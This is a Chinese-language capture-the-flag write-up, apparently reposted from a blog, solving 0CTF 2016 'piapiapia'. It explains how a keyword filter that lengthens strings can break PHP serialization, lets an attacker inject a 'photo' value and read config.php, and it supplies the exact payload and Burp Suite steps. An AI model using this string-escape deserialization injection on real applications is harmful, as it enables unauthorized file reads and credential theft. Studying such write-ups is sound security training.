码迷,mamicode.com
首页 > Windows程序 > 详细

[0CTF 2016]piapiapia

时间:2020-07-10 17:01:57      阅读:129      评论:0      收藏:0      [点我收藏+]

标签:photo   isp   fir   ace   username   enc   header   filter   bsp   

使用burpsuite进行目录扫描,发现网站备份文件

技术图片

 

 

 index.php

 1 <?php
 2     require_once(‘class.php‘);
 3     if($_SESSION[‘username‘]) {
 4         header(‘Location: profile.php‘);
 5         exit;
 6     }
 7     if($_POST[‘username‘] && $_POST[‘password‘]) {
 8         $username = $_POST[‘username‘];
 9         $password = $_POST[‘password‘];
10 
11         if(strlen($username) < 3 or strlen($username) > 16) 
12             die(‘Invalid user name‘);
13 
14         if(strlen($password) < 3 or strlen($password) > 16) 
15             die(‘Invalid password‘);
16 
17         if($user->login($username, $password)) {
18             $_SESSION[‘username‘] = $username;
19             header(‘Location: profile.php‘);
20             exit;    
21         }
22         else {
23             die(‘Invalid user name or password‘);
24         }
25     }
26     else {
27 ?>

代码第17行到20行,用户登陆成功后跳转到profile.php

profile.php

 1 <?php
 2     require_once(‘class.php‘);
 3     if($_SESSION[‘username‘] == null) {
 4         die(‘Login First‘);    
 5     }
 6     $username = $_SESSION[‘username‘];
 7     $profile=$user->show_profile($username);
 8     if($profile  == null) {
 9         header(‘Location: update.php‘);
10     }
11     else {
12         $profile = unserialize($profile);
13         $phone = $profile[‘phone‘];
14         $email = $profile[‘email‘];
15         $nickname = $profile[‘nickname‘];
16         $photo = base64_encode(file_get_contents($profile[‘photo‘]));
17 ?>

代码第12行可能存在反序列化漏洞,代码第16行可以通过file_get_contents函数读取文件内容

我们可以跟踪一下$profile,发现它是show_profile()返回值,show_profile()位于class.php

class.php

1 public function show_profile($username) {
2     $username = parent::filter($username);
3     $where = "username = ‘$username‘";
4     $object = parent::select($this->table, $where);
5     return $object->profile;
6 }

从代码第2行可以看到$username经过了filter()过滤, 跟踪一下filter()

1 public function filter($string) {
2     $escape = array(‘\‘‘, ‘\\\\‘);
3     $escape = ‘/‘ . implode(‘|‘, $escape) . ‘/‘;
4     $string = preg_replace($escape, ‘_‘, $string);
5     $safe = array(‘select‘, ‘insert‘, ‘update‘, ‘delete‘, ‘where‘);
6     $safe = ‘/‘ . implode(‘|‘, $safe) . ‘/i‘;
7     return preg_replace($safe, ‘hacker‘, $string);
8 }

filter()会将‘select‘, ‘insert‘, ‘update‘, ‘delete‘, ‘where‘关键字替换为‘hacker‘,然后返回

update.php

 1 <?php
 2     require_once(‘class.php‘);
 3     if($_SESSION[‘username‘] == null) {
 4         die(‘Login First‘);    
 5     }
 6     if($_POST[‘phone‘] && $_POST[‘email‘] && $_POST[‘nickname‘] && $_FILES[‘photo‘]) {
 7 
 8         $username = $_SESSION[‘username‘];
 9         if(!preg_match(‘/^\d{11}$/‘, $_POST[‘phone‘]))
10             die(‘Invalid phone‘);
11 
12         if(!preg_match(‘/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/‘, $_POST[‘email‘]))
13             die(‘Invalid email‘);
14         
15         if(preg_match(‘/[^a-zA-Z0-9_]/‘, $_POST[‘nickname‘]) || strlen($_POST[‘nickname‘]) > 10)
16             die(‘Invalid nickname‘);
17 
18         $file = $_FILES[‘photo‘];
19         if($file[‘size‘] < 5 or $file[‘size‘] > 1000000)
20             die(‘Photo size error‘);
21 
22         move_uploaded_file($file[‘tmp_name‘], ‘upload/‘ . md5($file[‘name‘]));
23         $profile[‘phone‘] = $_POST[‘phone‘];
24         $profile[‘email‘] = $_POST[‘email‘];
25         $profile[‘nickname‘] = $_POST[‘nickname‘];
26         $profile[‘photo‘] = ‘upload/‘ . md5($file[‘name‘]);
27 
28         $user->update_profile($username, serialize($profile));
29         echo ‘Update Profile Success!<a href="profile.php">Your Profile</a>‘;
30     }
31     else {
32 ?>

代码第15-16行

1 if(preg_match(‘/[^a-zA-Z0-9_]/‘, $_POST[‘nickname‘]) || strlen($_POST[‘nickname‘]) > 10)
2     die(‘Invalid nickname‘);

这段代码可以通过将nickname变量赋值为数组便可以绕过,也就是这样nikename[]=

代码第23-28行将用户注册的信息序列化后保存到数据库中

config.php

<?php
    $config[‘hostname‘] = ‘127.0.0.1‘;
    $config[‘username‘] = ‘root‘;
    $config[‘password‘] = ‘‘;
    $config[‘database‘] = ‘‘;
    $flag = ‘‘;
?>

可以看见$flag在当期php文件中,那么目的就很明确了,我们需要获取config.php文件内容

综上所诉,我们可以利用update.php序列化那段代码,也就是将s:10:"config.php";}添加到序列化结果后面,反序列化时就能通过profile.php中file_get_content()来获取config.php的文件内容

update.php中$nickname可以成为利用点,$nickname后面需要序列化的内容为

;}s:5:"photo";s:10:"config.php";}

长度为34,所以需要想办法挤出34位长度,这时候就想到了class.php中的过滤代码

public function filter($string) {
    $escape = array(‘\‘‘, ‘\\\\‘);
    $escape = ‘/‘ . implode(‘|‘, $escape) . ‘/‘;
    $string = preg_replace($escape, ‘_‘, $string);
    $safe = array(‘select‘, ‘insert‘, ‘update‘, ‘delete‘, ‘where‘);
    $safe = ‘/‘ . implode(‘|‘, $safe) . ‘/i‘;
    return preg_replace($safe, ‘hacker‘, $string);
}

每次过滤where关键字的时候就会将字符串的长度添加1位,所以我们需要在$nickname中输入34个where,然后将;}s:5:"photo";s:10:"config.php";}添加到关键字后面,反序列化是通过file_get_contents()便可以读取到config.php文件中的内容

payLoad:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

总结步骤:

1.注册一个用户

2.登陆用户

3.进入update.php使用burpsuite抓包,修改$nickename为nickename[]和$nickename的值

使用burpsuite抓包

技术图片

 

 点击进入到profile.php

技术图片

 

 查看源代码,其中的base64编码为config.php的内容

技术图片

 

 技术图片

 

 

 

技术图片

 

[0CTF 2016]piapiapia

标签:photo   isp   fir   ace   username   enc   header   filter   bsp   

原文地址:https://www.cnblogs.com/gtx690/p/13279891.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!